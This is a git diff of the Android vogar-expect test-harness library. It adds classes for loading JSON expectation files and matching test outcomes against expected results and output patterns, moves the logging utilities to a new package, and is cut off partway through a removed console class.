new file mode 100644
index 0000000..8ccd0bd
--- /dev/null
+++ b/libs/vogar-expect/src/vogar/expect/Expectation.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package vogar.expect;
+
+import java.util.LinkedHashSet;
+import java.util.Set;
+import java.util.regex.Pattern;
+
+/**
+ * The expected result of an action execution. This is typically encoded in the
+ * expectations text file, which has the following format:
+ * <pre>
+ * test java.io.StreamTokenizer.Reset
+ * result UNSUPPORTED
+ * pattern .*should get token \[, but get -1.*
+ *
+ * # should we fix this?
+ * test java.util.Arrays.CopyMethods
+ * result COMPILE_FAILED
+ * pattern .*cannot find symbol.*
+ * </pre>
+ */
+public final class Expectation {
+
+    /** Justification for this expectation */
+    private final String description;
+
+    /** The action's expected result, such as {@code EXEC_FAILED}. */
+    private final Result result;
+
+    /** The pattern the expected output will match. */
+    private final Pattern pattern;
+
+    /** Attributes of this test. */
+    private final Set<String> tags;
+
+    /** The tracking bug ID */
+    private final long bug;
+
+    /** True if the identified bug still active. */
+    private boolean bugIsOpen = false;
+
+    public Expectation(Result result, Pattern pattern, Set<String> tags, String description, long bug) {
+        if (result == null || description == null || pattern == null) {
+            throw new IllegalArgumentException(
+                    "result=" + result + " description=" + description + " pattern=" + pattern);
+        }
+
+        this.description = description;
+        this.result = result;
+        this.pattern = pattern;
+        this.tags = new LinkedHashSet<String>(tags);
+        this.bug = bug;
+    }
+
+    public String getDescription() {
+        return description;
+    }
+
+    public long getBug() {
+        return bug;
+    }
+
+    public Result getResult() {
+        return result;
+    }
+
+    public Set<String> getTags() {
+        return tags;
+    }
+
+    /**
+     * Set the current status of this expectation's bug. When a bug is open,
+     * any result (success or failure) is permitted.
+     */
+    public void setBugIsOpen(boolean bugIsOpen) {
+        this.bugIsOpen = bugIsOpen;
+    }
+
+    /**
+     * Returns true if {@code outcome} matches this expectation.
+     */
+    public boolean matches(Outcome outcome) {
+        return patternMatches(outcome) && (bugIsOpen || result == outcome.getResult());
+    }
+
+    private boolean patternMatches(Outcome outcome) {
+        return pattern.matcher(outcome.getOutput()).matches();
+    }
+
+    @Override public String toString() {
+        return "Expectation[description=" + description + " pattern=" + pattern.pattern() + "]";
+    }
+}
diff --git a/libs/vogar-expect/src/vogar/expect/ExpectationStore.java b/libs/vogar-expect/src/vogar/expect/ExpectationStore.java
new file mode 100644
index 0000000..6807f17
--- /dev/null
+++ b/libs/vogar-expect/src/vogar/expect/ExpectationStore.java
@@ -0,0 +1,275 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package vogar.expect;
+
+import com.android.json.stream.JsonReader;
+import com.google.common.base.Joiner;
+import com.google.common.base.Splitter;
+import java.io.File;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.Reader;
+import java.net.URL;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.regex.Pattern;
+import vogar.expect.util.Log;
+
+/**
+ * A database of expected outcomes. Entries in this database come in two forms.
+ * <ul>
+ *   <li>Outcome expectations name an outcome (or its prefix, such as
+ *       "java.util"), its expected result, and an optional pattern to match
+ *       the expected output.
+ *   <li>Failure expectations include a pattern that may match the output of any
+ *       outcome. These expectations are useful for hiding failures caused by
+ *       cross-cutting features that aren't supported.
+ * </ul>
+ *
+ * <p>If an outcome matches both an outcome expectation and a failure
+ * expectation, the outcome expectation will be returned.
+ */
+public final class ExpectationStore {
+
+    /** The pattern to use when no expected output is specified */
+    private static final Pattern MATCH_ALL_PATTERN
+            = Pattern.compile(".*", Pattern.MULTILINE | Pattern.DOTALL);
+
+    /** The expectation of a general successful run. */
+    private static final Expectation SUCCESS = new Expectation(Result.SUCCESS, MATCH_ALL_PATTERN,
+            Collections.<String>emptySet(), "", -1);
+
+    private static final int PATTERN_FLAGS = Pattern.MULTILINE | Pattern.DOTALL;
+
+    private final Map<String, Expectation> outcomes = new LinkedHashMap<String, Expectation>();
+    private final Map<String, Expectation> failures = new LinkedHashMap<String, Expectation>();
+
+    private ExpectationStore() {}
+
+    /**
+     * Finds the expected result for the specified action or outcome name. This
+     * returns a value for all names, even if no explicit expectation was set.
+     */
+    public Expectation get(String name) {
+        Expectation byName = getByNameOrPackage(name);
+        return byName != null ? byName : SUCCESS;
+    }
+
+    /**
+     * Finds the expected result for the specified outcome after it has
+     * completed. Unlike {@code get()}, this also takes into account the
+     * outcome's output.
+     *
+     * <p>For outcomes that have both a name match and an output match,
+     * exact name matches are preferred, then output matches, then inexact
+     * name matches.
+     */
+    public Expectation get(Outcome outcome) {
+        Expectation exactNameMatch = outcomes.get(outcome.getName());
+        if (exactNameMatch != null) {
+            return exactNameMatch;
+        }
+
+        for (Map.Entry<String, Expectation> entry : failures.entrySet()) {
+            if (entry.getValue().matches(outcome)) {
+                return entry.getValue();
+            }
+        }
+
+        Expectation byName = getByNameOrPackage(outcome.getName());
+        return byName != null ? byName : SUCCESS;
+    }
+
+    private Expectation getByNameOrPackage(String name) {
+        while (true) {
+            Expectation expectation = outcomes.get(name);
+            if (expectation != null) {
+                return expectation;
+            }
+
+            int dotOrHash = Math.max(name.lastIndexOf('.'), name.lastIndexOf('#'));
+            if (dotOrHash == -1) {
+                return null;
+            }
+
+            name = name.substring(0, dotOrHash);
+        }
+    }
+
+    public static ExpectationStore parse(Set<File> expectationFiles, ModeId mode) throws IOException {
+        ExpectationStore result = new ExpectationStore();
+        for (File f : expectationFiles) {
+            if (f.exists()) {
+                result.parse(f, mode);
+            }
+        }
+        return result;
+    }
+
+    /**
+     * Create an {@link ExpectationStore} that is populated from expectation resources.
+     * @param owningClass the class from which the resources are loaded.
+     * @param expectationResources the set of paths to the expectation resources; the paths are
+     * either relative to the owning class, or absolute (starting with a /).
+     * @param mode the mode within which the tests are to be run.
+     * @return the populated {@link ExpectationStore}.
+     * @throws IOException if there was a problem loading
+     */
+    public static ExpectationStore parseResources(
+            Class<?> owningClass, Set<String> expectationResources, ModeId mode)
+            throws IOException {
+        ExpectationStore result = new ExpectationStore();
+        for (String expectationsPath : expectationResources) {
+            URL url = owningClass.getResource(expectationsPath);
+            if (url == null) {
+                Log.warn("Could not find resource '" + expectationsPath
+                        + "' relative to " + owningClass);
+            } else {
+                result.parse(url, mode);
+            }
+        }
+        return result;
+    }
+
+    private void parse(URL url, ModeId mode) throws IOException {
+        Log.verbose("loading expectations from " + url);
+
+        try (InputStream is = url.openStream();
+             Reader reader = new InputStreamReader(is)) {
+            parse(reader, url.toString(), mode);
+        }
+    }
+
+    public void parse(File expectationsFile, ModeId mode) throws IOException {
+        Log.verbose("loading expectations file " + expectationsFile);
+
+        try (Reader fileReader = new FileReader(expectationsFile)) {
+            String source = expectationsFile.toString();
+            parse(fileReader, source, mode);
+        }
+    }
+
+    private void parse(Reader reader, String source, ModeId mode) throws IOException {
+        int count = 0;
+        try (JsonReader jsonReader = new JsonReader(reader)) {
+            jsonReader.setLenient(true);
+            jsonReader.beginArray();
+            while (jsonReader.hasNext()) {
+                readExpectation(jsonReader, mode);
+                count++;
+            }
+            jsonReader.endArray();
+
+            Log.verbose("loaded " + count + " expectations from " + source);
+        }
+    }
+
+    private void readExpectation(JsonReader reader, ModeId mode) throws IOException {
+        boolean isFailure = false;
+        Result result = Result.EXEC_FAILED;
+        Pattern pattern = MATCH_ALL_PATTERN;
+        Set<String> names = new LinkedHashSet<String>();
+        Set<String> tags = new LinkedHashSet<String>();
+        Set<ModeId> modes = null;
+        String description = "";
+        long buganizerBug = -1;
+
+        reader.beginObject();
+        while (reader.hasNext()) {
+            String name = reader.nextName();
+            if (name.equals("result")) {
+                result = Result.valueOf(reader.nextString());
+            } else if (name.equals("name")) {
+                names.add(reader.nextString());
+            } else if (name.equals("names")) {
+                readStrings(reader, names);
+            } else if (name.equals("failure")) {
+                // isFailure is somewhat arbitrarily keyed on the existence of a "failure"
+                // element instead of looking at the "result" field. There are only about 5
+                // expectations in our entire expectation store that have this tag.
+                //
+                // TODO: Get rid of it and the "failures" map and just use the outcomes
+                // map for everything. Both uses seem useless.
+                isFailure = true;
+                names.add(reader.nextString());
+            } else if (name.equals("pattern")) {
+                pattern = Pattern.compile(reader.nextString(), PATTERN_FLAGS);
+            } else if (name.equals("substring")) {
+                pattern = Pattern.compile(".*" + Pattern.quote(reader.nextString()) + ".*", PATTERN_FLAGS);
+            } else if (name.equals("tags")) {
+                readStrings(reader, tags);
+            } else if (name.equals("description")) {
+                Iterable<String> split = Splitter.on("\n").omitEmptyStrings().trimResults().split(reader.nextString());
+                description = Joiner.on("\n").join(split);
+            } else if (name.equals("bug")) {
+                buganizerBug = reader.nextLong();
+            } else if (name.equals("modes")) {
+                modes = readModes(reader);
+            } else {
+                Log.warn("Unhandled name in expectations file: " + name);
+                reader.skipValue();
+            }
+        }
+        reader.endObject();
+
+        if (names.isEmpty()) {
+            throw new IllegalArgumentException("Missing 'name' or 'failure' key in " + reader);
+        }
+        if (modes != null && !modes.contains(mode)) {
+            return;
+        }
+
+        Expectation expectation = new Expectation(result, pattern, tags, description, buganizerBug);
+        Map<String, Expectation> map = isFailure ? failures : outcomes;
+        for (String name : names) {
+            if (map.put(name, expectation) != null) {
+                throw new IllegalArgumentException("Duplicate expectations for " + name);
+            }
+        }
+    }
+
+    private void readStrings(JsonReader reader, Set<String> output) throws IOException {
+        reader.beginArray();
+        while (reader.hasNext()) {
+            output.add(reader.nextString());
+        }
+        reader.endArray();
+    }
+
+    private Set<ModeId> readModes(JsonReader reader) throws IOException {
+        Set<ModeId> result = new LinkedHashSet<ModeId>();
+        reader.beginArray();
+        while (reader.hasNext()) {
+            result.add(ModeId.valueOf(reader.nextString().toUpperCase()));
+        }
+        reader.endArray();
+        return result;
+    }
+
+    public Map<String, Expectation> getAllOutComes() {
+        return outcomes;
+    }
+
+    public Map<String, Expectation> getAllFailures() {
+        return failures;
+    }
+}
diff --git a/libs/vogar-expect/src/vogar/expect/ModeId.java b/libs/vogar-expect/src/vogar/expect/ModeId.java
new file mode 100644
index 0000000..0ebf60c
--- /dev/null
+++ b/libs/vogar-expect/src/vogar/expect/ModeId.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package vogar.expect;
+
+public enum ModeId {
+    DEVICE, JVM, ACTIVITY, SIM, HOST;
+
+    public boolean acceptsVmArgs() {
+        return this != ACTIVITY;
+    }
+
+    public boolean isHost() {
+        return this == JVM || this == SIM || this == HOST;
+    }
+
+    public boolean requiresAndroidSdk() {
+        return this == DEVICE || this == ACTIVITY || this == SIM || this == HOST;
+    }
+}
diff --git a/libs/vogar-expect/src/vogar/expect/Outcome.java b/libs/vogar-expect/src/vogar/expect/Outcome.java
new file mode 100644
index 0000000..cbe2abe
--- /dev/null
+++ b/libs/vogar-expect/src/vogar/expect/Outcome.java
@@ -0,0 +1,173 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package vogar.expect;
+
+import com.google.common.collect.Lists;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.Arrays;
+import java.util.Date;
+import java.util.List;
+import vogar.expect.util.Strings;
+
+/**
+ * An outcome of an action. Some actions may have multiple outcomes. For
+ * example, JUnit tests have one outcome for each test method.
+ */
+public final class Outcome {
+
+    private final String outcomeName;
+    private final Result result;
+    private final String output;
+    private final Date date;
+
+    public Outcome(String outcomeName, Result result, List<String> outputLines) {
+        this.outcomeName = outcomeName;
+        this.result = result;
+        this.output = sanitizeOutputLines(outputLines);
+        this.date = new Date();
+    }
+
+    public Outcome(String outcomeName, Result result, String outputLine, Date date) {
+        this.outcomeName = outcomeName;
+        this.result = result;
+        this.output = sanitizeOutputLine(outputLine);
+        this.date = date;
+    }
+
+    public Outcome(String outcomeName, Result result, String outputLine) {
+        this.outcomeName = outcomeName;
+        this.result = result;
+        this.output = sanitizeOutputLine(outputLine);
+        this.date = new Date();
+    }
+
+    public Outcome(String outcomeName, Result result, Throwable throwable) {
+        this.outcomeName = outcomeName;
+        this.result = result;
+        this.output = sanitizeOutputLines(throwableToLines(throwable));
+        this.date = new Date();
+    }
+
+    private String sanitizeOutputLines(List<String> outputLines) {
+        List<String> sanitizedStrings = Lists.newArrayList();
+        for (String line : outputLines) {
+            sanitizedStrings.add(sanitizeOutputLine(line));
+        }
+        return Strings.join(sanitizedStrings, "\n");
+    }
+
+    private String sanitizeOutputLine(String outputLine) {
+        return Strings.xmlSanitize(outputLine.replaceAll("\r\n?", "\n"));
+    }
+
+    public Date getDate() {
+        return date;
+    }
+
+    public String getName() {
+        return outcomeName;
+    }
+
+    public Result getResult() {
+        return result;
+    }
+
+    public String getOutput() {
+        return output;
+    }
+
+    public List<String> getOutputLines() {
+        return Arrays.asList(output.split("\n"));
+    }
+
+    private static List<String> throwableToLines(Throwable t) {
+        StringWriter writer = new StringWriter();
+        PrintWriter out = new PrintWriter(writer);
+        t.printStackTrace(out);
+        return Arrays.asList(writer.toString().split("\\n"));
+    }
+
+    /**
+     * Returns the action's suite name, such as java.lang.Integer or
+     * java.lang.IntegerTest.
+     */
+    public String getSuiteName() {
+        int split = split(outcomeName);
+        return split == -1 ? "defaultpackage" : outcomeName.substring(0, split);
+    }
+
+    /**
+     * Returns the specific action name, such as BitTwiddle or testBitTwiddle.
+     */
+    public String getTestName() {
+        int split = split(outcomeName);
+        return split == -1 ? outcomeName : outcomeName.substring(split + 1);
+    }
+
+    private static int split(String name) {
+        int lastHash = name.indexOf('#');
+        return lastHash == -1 ? name.lastIndexOf('.') : lastHash;
+    }
+
+    /**
+     * Returns whether the result indicates that the contents of the Outcome are important.
+     *
+     * For example, for a test skipped because it is unsupported, we don't care about the result.
+     */
+    private boolean matters() {
+        return result != Result.UNSUPPORTED;
+    }
+
+    public ResultValue getResultValue(Expectation expectation) {
+        if (matters()) {
+            return expectation.matches(this) ? ResultValue.OK : ResultValue.FAIL;
+        }
+        return ResultValue.IGNORE;
+    }
+
+    /**
+     * Returns a filesystem db path for this outcome. For example, a path for an outcome with name
+     * "foo.bar.baz#testName" would be "foo/bar/baz/testName".
+     */
+    public String getPath() {
+        return outcomeName.replaceAll("[\\.#]", "/");
+    }
+
+    @Override public boolean equals(Object o) {
+        if (o instanceof Outcome) {
+            Outcome outcome = (Outcome) o;
+            return outcomeName.equals(outcome.outcomeName)
+                    && result == outcome.result
+                    && output.equals(outcome.output);
+        }
+        return false;
+    }
+
+    @Override public int hashCode() {
+        int hashCode = 17;
+        hashCode = 37 * hashCode + outcomeName.hashCode();
+        hashCode  = 37 * hashCode + result.hashCode();
+        hashCode = 37 * hashCode + output.hashCode();
+        return hashCode;
+    }
+
+    @Override public String toString() {
+        return "Outcome[name=" + outcomeName + " output=" + output + "]";
+    }
+
+}
diff --git a/libs/vogar-expect/src/vogar/expect/Result.java b/libs/vogar-expect/src/vogar/expect/Result.java
new file mode 100644
index 0000000..b94c0a0
--- /dev/null
+++ b/libs/vogar-expect/src/vogar/expect/Result.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package vogar.expect;
+
+/**
+ * The result of a test or benchmark execution.
+ */
+public enum Result {
+
+    /**
+     * An action that cannot be run by this harness, such as a shell script.
+     */
+    UNSUPPORTED,
+
+    COMPILE_FAILED,
+    EXEC_FAILED,
+    EXEC_TIMEOUT,
+    ERROR,
+    SUCCESS
+}
diff --git a/libs/vogar-expect/src/vogar/expect/ResultValue.java b/libs/vogar-expect/src/vogar/expect/ResultValue.java
new file mode 100644
index 0000000..46716d8
--- /dev/null
+++ b/libs/vogar-expect/src/vogar/expect/ResultValue.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package vogar.expect;
+
+/**
+ * Represents an evaluation of the goodness of a result.
+ */
+public enum ResultValue {
+    OK,
+    IGNORE,
+    FAIL
+}
diff --git a/libs/vogar-expect/src/vogar/expect/util/Log.java b/libs/vogar-expect/src/vogar/expect/util/Log.java
new file mode 100644
index 0000000..9aa016f
--- /dev/null
+++ b/libs/vogar-expect/src/vogar/expect/util/Log.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package vogar.expect.util;
+
+import java.util.List;
+
+public class Log {
+
+    private static LogOutput sLogoutput = null;
+
+    public static void setOutput(LogOutput logOutput) {
+        sLogoutput = logOutput;
+    }
+
+    public static void verbose(String s) {
+        if (sLogoutput != null) {
+            sLogoutput.verbose(s);
+        }
+    }
+
+    public static void warn(String message) {
+        if (sLogoutput != null) {
+            sLogoutput.warn(message);
+        }
+    }
+
+    /**
+     * Warns, and also puts a list of strings afterwards.
+     */
+    public static void warn(String message, List<String> list) {
+        if (sLogoutput != null) {
+            sLogoutput.warn(message, list);
+        }
+    }
+
+    public static void info(String s) {
+        if (sLogoutput != null) {
+            sLogoutput.info(s);
+        }
+    }
+
+    public static void info(String message, Throwable throwable) {
+        if (sLogoutput != null) {
+            sLogoutput.info(message, throwable);
+        }
+    }
+
+    public static void nativeOutput(String outputLine) {
+        if (sLogoutput != null) {
+            sLogoutput.nativeOutput(outputLine);
+        }
+
+    }
+}
diff --git a/libs/vogar-expect/src/vogar/expect/util/LogOutput.java b/libs/vogar-expect/src/vogar/expect/util/LogOutput.java
new file mode 100644
index 0000000..7e60d07
--- /dev/null
+++ b/libs/vogar-expect/src/vogar/expect/util/LogOutput.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package vogar.expect.util;
+
+import java.util.List;
+
+public interface LogOutput {
+
+    void verbose(String s);
+
+    void warn(String message);
+
+    /**
+     * Warns, and also puts a list of strings afterwards.
+     */
+    void warn(String message, List<String> list);
+
+    void info(String s);
+
+    void info(String message, Throwable throwable);
+
+    void nativeOutput(String outputLine);
+
+}
diff --git a/libs/vogar-expect/src/vogar/expect/util/Strings.java b/libs/vogar-expect/src/vogar/expect/util/Strings.java
new file mode 100644
index 0000000..208cbda
--- /dev/null
+++ b/libs/vogar-expect/src/vogar/expect/util/Strings.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package vogar.expect.util;
+
+//import com.google.common.collect.Lists;
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Utility methods for strings.
+ */
+public class Strings {
+
+    private static final Pattern XML_INVALID_CHARS
+            = Pattern.compile("[^\\u0009\\u000A\\u000D\\u0020-\\uD7FF\\uE000-\\uFFFD]+");
+
+    public static String readStream(Reader reader) throws IOException {
+        StringBuilder result = new StringBuilder();
+        BufferedReader in = new BufferedReader(reader);
+        String line;
+        while ((line = in.readLine()) != null) {
+            result.append(line);
+            result.append('\n');
+        }
+        in.close();
+        return result.toString();
+    }
+
+    public static String readFile(File f) throws IOException {
+        return readStream(new InputStreamReader(new FileInputStream(f), "UTF-8"));
+    }
+
+    public static List<String> readFileLines(File f) throws IOException {
+        BufferedReader in =
+                new BufferedReader(new InputStreamReader(new FileInputStream(f), "UTF-8"));
+        List<String> list = new ArrayList<String>();
+        String line;
+        while ((line = in.readLine()) != null) {
+            list.add(line);
+        }
+        in.close();
+        return list;
+    }
+
+    public static String join(String delimiter, Object... objects) {
+        return join(Arrays.asList(objects), delimiter);
+    }
+
+    public static String join(Iterable<?> objects, String delimiter) {
+        Iterator<?> i = objects.iterator();
+        if (!i.hasNext()) {
+            return "";
+        }
+
+        StringBuilder result = new StringBuilder();
+        result.append(i.next());
+        while(i.hasNext()) {
+            result.append(delimiter).append(i.next());
+        }
+        return result.toString();
+    }
+
+    public static String[] objectsToStrings(Object[] objects) {
+        String[] result = new String[objects.length];
+        int i = 0;
+        for (Object o : objects) {
+            result[i++] = o.toString();
+        }
+        return result;
+    }
+
+    public static String[] objectsToStrings(Collection<?> objects) {
+        return objectsToStrings(objects.toArray());
+    }
+
+    /**
+     * Replaces XML-invalid characters with the corresponding U+XXXX code point escapes.
+     */
+    public static String xmlSanitize(String text) {
+        StringBuffer result = new StringBuffer();
+        Matcher matcher = XML_INVALID_CHARS.matcher(text);
+        while (matcher.find()) {
+            matcher.appendReplacement(result, "");
+            result.append(escapeCodePoint(matcher.group()));
+        }
+        matcher.appendTail(result);
+        return result.toString();
+    }
+
+    private static String escapeCodePoint(CharSequence cs) {
+        StringBuilder result = new StringBuilder();
+        for (int i = 0; i < cs.length(); ++i) {
+            result.append(String.format("U+%04X", (int) cs.charAt(i)));
+        }
+        return result.toString();
+    }
+}
diff --git a/libs/vogar-expect/src/vogar/util/IoUtils.java b/libs/vogar-expect/src/vogar/util/IoUtils.java
deleted file mode 100644
index 4f1fba1..0000000
--- a/libs/vogar-expect/src/vogar/util/IoUtils.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar.util;
-
-import java.io.Closeable;
-import java.io.IOException;
-import java.net.Socket;
-
-public final class IoUtils {
-
-    public static void closeQuietly(Closeable c) {
-        if (c != null) {
-            try {
-                c.close();
-            } catch (IOException ignored) {
-            }
-        }
-    }
-
-    public static void closeQuietly(Socket c) {
-        if (c != null) {
-            try {
-                c.close();
-            } catch (IOException ignored) {
-            }
-        }
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/util/Log.java b/libs/vogar-expect/src/vogar/util/Log.java
deleted file mode 100644
index 99c0807..0000000
--- a/libs/vogar-expect/src/vogar/util/Log.java
+++ /dev/null
@@ -1,68 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar.util;
-
-import java.util.List;
-
-public class Log {
-
-    private static LogOutput sLogoutput = null;
-
-    public static void setOutput(LogOutput logOutput) {
-        sLogoutput = logOutput;
-    }
-
-    public static void verbose(String s) {
-        if (sLogoutput != null) {
-            sLogoutput.verbose(s);
-        }
-    }
-
-    public static void warn(String message) {
-        if (sLogoutput != null) {
-            sLogoutput.warn(message);
-        }
-    }
-
-    /**
-     * Warns, and also puts a list of strings afterwards.
-     */
-    public static void warn(String message, List<String> list) {
-        if (sLogoutput != null) {
-            sLogoutput.warn(message, list);
-        }
-    }
-
-    public static void info(String s) {
-        if (sLogoutput != null) {
-            sLogoutput.info(s);
-        }
-    }
-
-    public static void info(String message, Throwable throwable) {
-        if (sLogoutput != null) {
-            sLogoutput.info(message, throwable);
-        }
-    }
-
-    public static void nativeOutput(String outputLine) {
-        if (sLogoutput != null) {
-            sLogoutput.nativeOutput(outputLine);
-        }
-
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/util/LogOutput.java b/libs/vogar-expect/src/vogar/util/LogOutput.java
deleted file mode 100644
index 8123a81..0000000
--- a/libs/vogar-expect/src/vogar/util/LogOutput.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar.util;
-
-import java.util.List;
-
-public interface LogOutput {
-
-    void verbose(String s);
-
-    void warn(String message);
-
-    /**
-     * Warns, and also puts a list of strings afterwards.
-     */
-    void warn(String message, List<String> list);
-
-    void info(String s);
-
-    void info(String message, Throwable throwable);
-
-    void nativeOutput(String outputLine);
-
-}
diff --git a/libs/vogar-expect/src/vogar/util/MarkResetConsole.java b/libs/vogar-expect/src/vogar/util/MarkResetConsole.java
deleted file mode 100644
index d88ce31..0000000
--- a/libs/vogar-expect/src/vogar/util/MarkResetConsole.java
+++ /dev/null
@@ -1,87 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar.util;
-
-import java.io.PrintStream;
-
-/**
- * A console that can erase output back to a previously marked position.
- */
-public final class MarkResetConsole {
-
-    private final PrintStream out;
-    private int row;
-    private final StringBuilder rowContent = new StringBuilder();
-
-    public MarkResetConsole(PrintStream out) {
